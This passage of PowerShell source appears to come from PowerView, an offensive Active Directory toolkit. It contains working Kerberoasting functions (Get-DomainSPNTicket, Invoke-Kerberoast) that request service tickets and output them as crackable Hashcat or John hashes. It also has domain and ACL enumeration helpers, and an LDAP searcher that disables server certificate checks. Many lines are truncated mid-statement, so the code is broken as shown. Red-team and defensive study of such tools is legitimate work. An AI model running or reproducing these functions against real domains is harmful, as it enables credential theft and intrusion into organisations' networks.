using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted
portion of the ticket is then extracted and output in either crackable John or Hashcat
format (deafult of Hashcat).
.PARAMETER SPN
Specifies the service principal name to request the ticket for.
.PARAMETER User
Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'John'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote domain using Invoke-UserImpersonation.
.EXAMPLE
Get-DomainSPNTicket -SPN "HTTP/web.testlab.local"
Request a kerberos service ticket for the specified SPN.
.EXAMPLE
"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket
Request kerberos service tickets for all SPNs passed on the pipeline.
.EXAMPLE
Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat JTR
Request kerberos service tickets for all users with non-null SPNs and output in JTR format.
.INPUTS
String
Accepts one or more SPN strings on the pipeline with the RawSPN parameter set.
.INPUTS
PowerView.User
Accepts one or more PowerView.User objects on the pipeline with the User parameter set.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticke
#>
[OutputType('PowerView.SPNTicket')]
[CmdletBinding(DefaultParameterSetName = 'RawSPN')]
Param (
[Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline
[ValidatePattern('.*/.*')]
[Alias('ServicePrincipalName')]
[String[]]
$SPN,
[Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $
[ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })]
[Object[]]
$User,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['User']) {
$TargetObject = $User
}
else {
$TargetObject = $SPN
}
ForEach ($Object in $TargetObject) {
if ($PSBoundParameters['User']) {
$UserSPN = $Object.ServicePrincipalName
$SamAccountName = $Object.SamAccountName
$DistinguishedName = $Object.DistinguishedName
}
else {
$UserSPN = $Object
$SamAccountName = 'UNKNOWN'
$DistinguishedName = 'UNKNOWN'
}
# if a user has multiple SPNs we only take the first one otherwise the service ticket request fails
if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) {
$UserSPN = $UserSPN[0]
}
try {
$Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -Argu
}
catch {
Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from use
}
if ($Ticket) {
$TicketByteStream = $Ticket.GetRequest()
}
if ($TicketByteStream) {
$Out = New-Object PSObject
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
$Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName
$Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName
$Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName
# TicketHexStream == GSS-API Frame (see https://tools.ietf.org/html/rfc4121#section-4.1)
# No easy way to parse ASN1, so we'll try some janky regex to parse the embedded KRB_AP
if($TicketHexStream -match 'a382....3082....A0030201(?<EtypeLen>..)A1.{1,4}.......A282(?<C
$Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 )
$CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4
$CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2)
# Make sure the next field matches the beginning of the KRB_AP_REQ.Authenticator objec
if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') {
Write-Warning "Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). U
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($Ticke
} else {
if($Etype -eq 17 -or $Etype -eq 18) {
$ChecksumLen = 24 # Checksum length AES = 24 Byte (12 Byte as hexascii = 24 By
} else {
$ChecksumLen = 32 # Checksum length RC4 = 16 Byte (16 Byte as hexascii = 32 By
}
$Hash = "$($CipherText.Substring(0,$ChecksumLen))`$$($CipherText.Substring($Chec
$Out | Add-Member Noteproperty 'TicketByteHexStream' $null
}
} else {
Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalNam
$Hash = $null
$Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketB
}
if($Hash) {
# JTR jumbo output format - $krb5tgs$SPN/machine.testlab.local:63386d22d359fe...
if ($OutputFormat -match 'John') {
$HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash"
}
else {
if ($DistinguishedName -ne 'UNKNOWN') {
$UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC='))
}
else {
$UserDomain = 'UNKNOWN'
}
# hashcat output format - $krb5tgs$23$*user$realm$test/spn*$63386d22d359fe...
$HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticke
}
$Out | Add-Member Noteproperty 'Hash' $HashFormat
}
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
$Out
}
}
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Invoke-Kerberoast {
<#
.SYNOPSIS
Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes.
Author: Will Schroeder (@harmj0y), @machosec
License: BSD 3-Clause
Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-Doma
.DESCRIPTION
Uses Get-DomainUser to query for user accounts with non-null service principle
names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information.
The ticket format can be specified with -OutputFormat <John/Hashcat>.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a
Wildcards accepted.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER OutputFormat
Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format.
Defaults to 'Hashcat'.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Invoke-Kerberoast | fl
Kerberoasts all found SPNs for the current domain, outputting to Hashcat format (default).
.EXAMPLE
Invoke-Kerberoast -Domain dev.testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain, outputting to JTR
format instead of Hashcat.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce
$Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword)
Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl
Kerberoasts all found SPNs for the testlab.local domain using alternate credentials.
.OUTPUTS
PowerView.SPNTicket
Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticke
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.SPNTicket')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberNa
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL, # dummy parameter for searcher object
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[ValidateSet('John', 'Hashcat')]
[Alias('Format')]
[String]
$OutputFormat = 'Hashcat',
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserSearcherArguments = @{
'SPN' = $True
'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
}
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchS
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $Res
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $Ser
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Credential']) {
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | G
}
END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-PathAcl {
<#
.SYNOPSIS
Enumerates the ACL for a given file path.
Author: Will Schroeder (@harmj0y), adjusted by Alexander Sturz (@_61106960_)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
.DESCRIPTION
Enumerates the ACL for a specified file/folder path, and translates the access rules for each entry into
Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
.PARAMETER Path
Specifies the local or remote path to enumerate the ACLs for.
.PARAMETER Recurse
If specified, recursivly enumerates all files and folders below Path.
.PARAMETER ResolveSID
If specified, resolves the SID to its readable identity name.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials for connection to the target pa
.EXAMPLE
Get-PathAcl "\\SERVER\Share\"
Returns ACLs for the given UNC share.
.EXAMPLE
gci .\test.txt | Get-PathAcl
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
.INPUTS
String
One of more paths to enumerate ACLs for.
.OUTPUTS
PowerView.FileACL
A custom object with the full path and associated ACL entries.
.LINK
https://support.microsoft.com/en-us/kb/305144
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FileACL')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName
[Alias('FullName')]
[String[]]
$Path,
[Parameter(Mandatory = $false)]
[Switch]
$Recurse,
[Parameter(Mandatory = $false)]
[Switch]
$ResolveSID,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
function Convert-FileRight {
# From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-des
[CmdletBinding()]
Param(
[Int]
$FSR
)
$AccessMask = @{
[uint32]'0x80000000' = 'GenericRead'
[uint32]'0x40000000' = 'GenericWrite'
[uint32]'0x20000000' = 'GenericExecute'
[uint32]'0x10000000' = 'GenericAll'
[uint32]'0x02000000' = 'MaximumAllowed'
[uint32]'0x01000000' = 'AccessSystemSecurity'
[uint32]'0x00100000' = 'Synchronize'
[uint32]'0x00080000' = 'WriteOwner'
[uint32]'0x00040000' = 'WriteDAC'
[uint32]'0x00020000' = 'ReadControl'
[uint32]'0x00010000' = 'Delete'
[uint32]'0x00000100' = 'WriteAttributes'
[uint32]'0x00000080' = 'ReadAttributes'
[uint32]'0x00000040' = 'DeleteChild'
[uint32]'0x00000020' = 'Execute/Traverse'
[uint32]'0x00000010' = 'WriteExtendedAttributes'
[uint32]'0x00000008' = 'ReadExtendedAttributes'
[uint32]'0x00000004' = 'AppendData/AddSubdirectory'
[uint32]'0x00000002' = 'WriteData/AddFile'
[uint32]'0x00000001' = 'ReadData/ListDirectory'
}
$SimplePermissions = @{
[uint32]'0x1f01ff' = 'FullControl'
[uint32]'0x0301bf' = 'Modify'
[uint32]'0x0200a9' = 'ReadAndExecute'
[uint32]'0x02019f' = 'ReadAndWrite'
[uint32]'0x020089' = 'Read'
[uint32]'0x000116' = 'Write'
}
$Permissions = @()
# get simple permission
$Permissions += $SimplePermissions.Keys | ForEach-Object {
if (($FSR -band $_) -eq $_) {
$SimplePermissions[$_]
$FSR = $FSR -band (-bnot $_)
}
}
# get remaining extended permissions
$Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $Acc
($Permissions | Where-Object {$_}) -join ','
}
$ConvertArguments = @{}
if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
$MappedComputers = @{}
}
PROCESS {
ForEach ($TargetPath in $Path) {
try {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$ACLS = @()
if ($Recurse) {
$ACLS += Get-ChildItem -Path $TargetPath -Recurse -Force | ForEach-Object {Get-Acl -P
} else {
$ACLS += Get-Acl -Path $TargetPath
}
foreach ($ACL in $ACLS) {
$ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEa
$SID = $_.IdentityReference.Value
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'Path' $(($ACL.PSPath -split "::")[1])
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSys
$Out | Add-Member NoteProperty 'IsInherited' $_.IsInherited
If ($ResolveSID) {$Out | Add-Member Noteproperty 'IdentityReference' $(ConvertFrom-S
$Out | Add-Member Noteproperty 'IdentitySID' $SID
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
$Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
$Out
}
}
}
catch {
Write-Verbose "[Get-PathAcl] error: $_"
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
function Convert-LDAPProperty {
<#
.SYNOPSIS
Helper that converts specific LDAP property result fields and outputs
a custom psobject.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts a set of raw LDAP properties results from ADSI/LDAP searches
into a proper PSObject. Used by several of the Get-Domain* function.
.PARAMETER Properties
Properties object to extract out LDAP fields for display.
.OUTPUTS
System.Management.Automation.PSCustomObject
A custom PSObject with LDAP hashtable properties translated.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.Management.Automation.PSCustomObject')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)
$DateTimeAttrs = @(
'lastlogon'
'lastlogontimestamp'
'pwdlastset'
'lastlogoff'
'badPasswordTime'
'ms-mcs-admpwdexpirationtime'
#'pkioverlapperiod'
#'pkiexpirationperiod'
)
$ObjectProperties = @{}
$Properties.keys | Sort-Object | ForEach-Object {
if ($_ -ne 'adspath') {
if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory') -or ($_ -eq 'securityidentifier')) {
# convert all listed sids (i.e. if multiple are listed in sidHistory)
$ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Prin
}
elseif ($_ -eq 'grouptype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum
}
elseif ($_ -eq 'samaccounttype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum
}
elseif ($_ -match 'guid') {
# convert the GUID to a string
$ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
}
elseif ($_ -eq 'useraccountcontrol') {
$ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum
}
elseif ($_ -eq 'systemflags') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SystemFlagsEnum
}
elseif ($_ -eq 'schemaflagsex') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SchemaFlagsExEnum
}
elseif ($_ -eq 'instancetype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $InstanceTypeEnum
}
elseif ($_ -eq 'searchflags') {
$ObjectProperties[$_] = $Properties[$_][0] -as $SearchFlagsExEnum
}
elseif ($_ -eq 'mspki-certificate-name-flag') {
$ObjectProperties[$_] = $Properties[$_][0] -as $CertNameFlagEnum
}
elseif ($_ -eq 'flags') {
$ObjectProperties[$_] = $Properties[$_][0] -as $CertFlagsEnum
}
elseif ($_ -eq 'mspki-enrollment-flag') {
$ObjectProperties[$_] = $Properties[$_][0] -as $CertEnrollmentFlagEnum
}
elseif ($_ -eq 'mspki-private-key-flag') {
$ObjectProperties[$_] = $Properties[$_][0] -as $CertPrivKeyFlagEnum
}
elseif ($_ -eq 'trustattributes') {
$ObjectProperties[$_] = $Properties[$_][0] -as $TrustAttributesEnum
}
elseif ($_ -eq 'trusttype') {
$ObjectProperties[$_] = $Properties[$_][0] -as $DsDomainTrustType
}
elseif ($_ -eq 'trustdirection') {
$ObjectProperties[$_] = $Properties[$_][0] -as $TrustDirectionEnum
}
elseif ($_ -eq 'ntsecuritydescriptor') {
# $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -Argum
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Pro
if ($Descriptor.Owner) {
$ObjectProperties['OwnerSID'] = $Descriptor.Owner
$OwnerObject = Get-DomainObject $Descriptor.Owner
$ObjectProperties['OwnerName'] = $OwnerObject.samaccountname
}
if ($Descriptor.Group) {
$ObjectProperties['Group'] = $Descriptor.Group
}
if ($Descriptor.DiscretionaryAcl) {
$ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
}
if ($Descriptor.SystemAcl) {
$ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
}
}
elseif ($_ -eq 'defaultsecuritydescriptor') {
$ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -Argume
}
elseif ($_ -eq 'accountexpires') {
if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
$ObjectProperties[$_] = "NEVER"
}
else {
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
}
}
elseif ($_ -eq 'lockouttime') {
if ($Properties[$_][0] -eq 0 -or $Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) {
$ObjectProperties[$_] = "UNLOCKED"
}
else {
$ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0])
}
}
elseif ($DateTimeAttrs -contains $_) {
# convert timestamps
if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# if we have a System.__ComObject
$Temp = $Properties[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlag
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFla
$ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))
}
else {
# otherwise just a string
$ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
}
}
elseif ($_ -eq 'logonhours') {
$ObjectProperties[$_] = Convert-LogonHours -LogonHours $Properties[$_][0]
}
elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
# try to convert misc com objects
$Prop = $Properties[$_]
try {
$Temp = $Prop[$_][0]
[Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlag
[Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFla
$ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
}
catch {
Write-Verbose "[Convert-LDAPProperty] error: $_"
$ObjectProperties[$_] = $Prop[$_]
}
}
elseif ($Properties[$_].count -eq 1) {
$ObjectProperties[$_] = $Properties[$_][0]
}
else {
$ObjectProperties[$_] = $Properties[$_]
}
}
}
try {
New-Object -TypeName PSObject -Property $ObjectProperties
}
catch {
Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
}
}
########################################################
#
# Domain info functions below.
#
########################################################
function Get-DomainSearcher {
<#
.SYNOPSIS
Helper used by various functions that builds a custom AD searcher object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain
.DESCRIPTION
Takes a given domain and a number of customizations and returns a
System.DirectoryServices.DirectorySearcher object. This function is used
heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER SearchBasePrefix
Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to for the search.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER SSL
Use SSL Connection to LDAP Server
.EXAMPLE
Get-DomainSearcher -Domain testlab.local
Return a searcher for all objects in testlab.local.
.EXAMPLE
Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'S
Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon
.EXAMPLE
Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
.OUTPUTS
System.DirectoryServices.DirectorySearcher
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('System.DirectoryServices.DirectorySearcher')]
[CmdletBinding()]
Param(
[Parameter(ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$SearchBasePrefix,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 1000,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit = 120,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$SSL,
[String]
$Certificate,
[String]
$CertPassword,
[Switch]
$RootDSE
)
BEGIN {
$DomainNameArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $DomainNameArguments['Credential'] = $Credential }
}
PROCESS {
$TargetDomain = Get-TargetDomainName @DomainNameArguments
if ($PSBoundParameters['Domain']) {
if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {
# see if we can grab the user DNS logon domain from environment variables
$UserDomain = $ENV:USERDNSDOMAIN
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) {
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain"
}
}
}
elseif ($PSBoundParameters['Credential']) {
# if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get
$DomainObject = Get-Domain -Credential $Credential
$BindServer = ($DomainObject.PdcRoleOwner).Name
}
elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {
# see if we can grab the user DNS logon domain from environment variables
if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) {
$BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain"
}
}
else {
# otherwise, resort to Get-Domain to retrieve the current domain object
write-verbose "get-domain"
$DomainObject = Get-Domain
$BindServer = ($DomainObject.PdcRoleOwner).Name
}
if ($PSBoundParameters['Server']) {
# if there's not a specified server to bind to, try to pull a logon server from ENV variables
$BindServer = $Server
}
if ($PSBoundParameters['SSL'] -or $PSBoundParameters['Certificate'] -or $PSBoundParameters['
if ([string]::IsNullOrEmpty($BindServer)) {
$DomainObject = Get-Domain
$BindServer = ($DomainObject.PdcRoleOwner).Name
}
$Port = 389
if ($PSBoundParameters['SSL']) {
$Port = 636
}
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | O
Write-Verbose "[Get-DomainSearcher] Connecting to $($BindServer):$($Port)"
$Identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier -Argument
$Searcher = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -Arg
$Searcher.SessionOptions.VerifyServerCertificate = { $true }
$Searcher.SessionOptions.ProtocolVersion = 3
$Searcher.SessionOptions.ReferralChasing = 'None'
if ($PSBoundParameters['Certificate']) {
if (-not $PSBoundParameters['CertPassword']) {
$CertPassword = $null
}
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 @($Ce
[void]$Searcher.ClientCertificates.Add($Cert)
$Searcher.SessionOptions.QueryClientCertificate = { $Cert }
}
if ($PSBoundParameters['SSL']) {
$Searcher.SessionOptions.SecureSocketLayer = $true
}
elseif ($PSBoundParameters['Certificate']) {
$Searcher.SessionOptions.StartTransportLayerSecurity($null)
$Searcher.AuthType = [System.DirectoryServices.Protocols.AuthType]::External
}
if ($PSBoundParameters['Credential'] -and -not $PSBoundParameters['Certificate']) {
$Searcher.Bind($Credential)
}
else {
$Searcher.Bind()
}
}
else {
$SearchString = 'LDAP://'
if ($BindServer -and ($BindServer.Trim() -ne '')) {
$SearchString += $BindServer
if ($TargetDomain) {
$SearchString += '/'
}
}
if ($PSBoundParameters['SearchBasePrefix']) {
$SearchString += $SearchBasePrefix + ','
}
if ($PSBoundParameters['SearchBase']) {
if ($SearchBase -Match '^GC://') {
# if we're searching the global catalog, get the path in the right format
$DN = $SearchBase.ToUpper().Trim('/')
$SearchString = ''
}
else {
if ($SearchBase -match '^LDAP://') {
if ($SearchBase -match "LDAP://.+/.+") {
$SearchString = ''
$DN = $SearchBase
}
else {
$DN = $SearchBase.SubString(7)
}
}
else {
$DN = $SearchBase
}
}
}
else {
# transform the target domain name into a distinguishedName if an ADS search base is not s
if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
$DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
}
}
$SearchString += $DN
Write-Verbose "[Get-DomainSearcher] search base: $SearchString"
if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
# bind to the inital search object using alternate credentials
$DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.U
$Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
}
else {
# bind to the inital object using the current credentials
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
}
$Searcher.PageSize = $ResultPageSize
$Searcher.SearchScope = $SearchScope
$Searcher.CacheResults = $False
$Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
